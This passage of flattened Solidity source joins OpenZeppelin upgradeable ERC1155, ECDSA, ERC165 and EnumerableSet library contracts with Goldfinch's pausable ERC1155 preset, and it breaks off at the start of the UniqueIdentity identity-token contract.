@param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC1155Upgradeable.sol"; import "../../../security/PausableUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev ERC1155 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. * * _Available since v3.1._ */ abstract contract ERC1155PausableUpgradeable is Initializable, ERC1155Upgradeable, PausableUpgradeable { function __ERC1155Pausable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __Pausable_init_unchained(); __ERC1155Pausable_init_unchained(); } function __ERC1155Pausable_init_unchained() internal initializer { } /** * @dev See {ERC1155-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); require(!paused(), "ERC1155Pausable: token transfer while paused"); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC1155Upgradeable.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURIUpgradeable is IERC1155Upgradeable { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSAUpgradeable { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; import "@openzeppelin/contracts-upgradeable/token/ERC1155/ERC1155Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/extensions/ERC1155PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; /** * @dev {ERC1155} token, including a pauser role that allows to stop all token transfers * (including minting and burning). * * This contract uses {AccessControl} to lock permissioned functions using the * different roles - head to its documentation for details. * * Adapted from OZ's ERC1155PresetMinterPauserUpgradeable.sol: removed inheritance of * ERC1155BurnableUpgradeable; removed MINTER_ROLE; replaced DEFAULT_ADMIN_ROLE with OWNER_ROLE; * grants roles to owner param rather than `_msgSender()`; added `setURI()`, to give owner ability * to set the URI after initialization; added `isAdmin()` helper and `onlyAdmin` modifier. */ contract ERC1155PresetPauserUpgradeable is Initializable, ContextUpgradeable, AccessControlEnumerableUpgradeable, ERC1155PausableUpgradeable { bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); /** * @dev Grants `OWNER_ROLE` and `PAUSER_ROLE` to the account that * deploys the contract. */ function __ERC1155PresetPauser_init(address owner, string memory uri) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); __AccessControlEnumerable_init_unchained(); __ERC1155_init_unchained(uri); __Pausable_init_unchained(); __ERC1155Pausable_init_unchained(); __ERC1155PresetPauser_init_unchained(owner); } function __ERC1155PresetPauser_init_unchained(address owner) internal initializer { _setupRole(OWNER_ROLE, owner); _setupRole(PAUSER_ROLE, owner); _setRoleAdmin(PAUSER_ROLE, OWNER_ROLE); _setRoleAdmin(OWNER_ROLE, OWNER_ROLE); } function setURI(string memory newuri) external onlyAdmin { /// @dev Because the `newuri` is not id-specific, we do not emit a URI event here. See the comment /// on `_setURI()`. _setURI(newuri); } /** * @dev Pauses all token transfers. * * See {ERC1155Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC1155PresetPauser: must have pauser role to pause"); _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC1155Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC1155PresetPauser: must have pauser role to unpause"); _unpause(); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerableUpgradeable, ERC1155Upgradeable) returns (bool) { return super.supportsInterface(interfaceId); } function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override(ERC1155PausableUpgradeable) { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); } uint256[50] private __gap; function isAdmin() public view returns (bool) { return hasRole(OWNER_ROLE, _msgSender()); } modifier onlyAdmin() { require(isAdmin(), "Must have admin role to perform this action"); _; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol"; interface IUniqueIdentity is IERC1155Upgradeable { function mint( uint256 id, uint256 expiresAt, bytes calldata signature ) external payable; function burn( address account, uint256 id, uint256 expiresAt, bytes calldata signature ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol"; import "../../external/ERC1155PresetPauserUpgradeable.sol"; import "../../interfaces/IUniqueIdentity.sol"; /** * @title UniqueIdentity * @notice UniqueIdentity is an ERC1155-compliant contract for representing * the identity verification status of addresses. * @author Goldfinch */ contract UniqueIdentity is ERC1155PresetPauserUpgradeable, IUniqueIdentity { bytes32 public constant SIGNER_ROLE = keccak256("SIGNER_ROLE"); uint256 public constant ID_TYPE_0 = 0; uint256 public constant ID_TYPE_1 = 1; uint256 public constant ID_TYPE_2 = 2; uint256 public constant ID_TYPE_3 = 3; uint256 public constant ID_TYPE_4 = 4; uint256 public constant ID_TYPE_5 = 5; uint256 public constant ID_TYPE_6 = 6; uint256 public constant ID_TYPE_7 = 7; uint256 public constant ID_TYPE_8 = 8; uint256 public constant ID_TYPE_9 = 9; uint256 public constant ID_TYPE_10 = 10; uint256 public constant MINT_COST_PER_TOKEN = 830000 gwei; /// @dev We include a nonce in every hashed message, and increment the nonce as part of a /// state-changing operation, so as to prevent replay 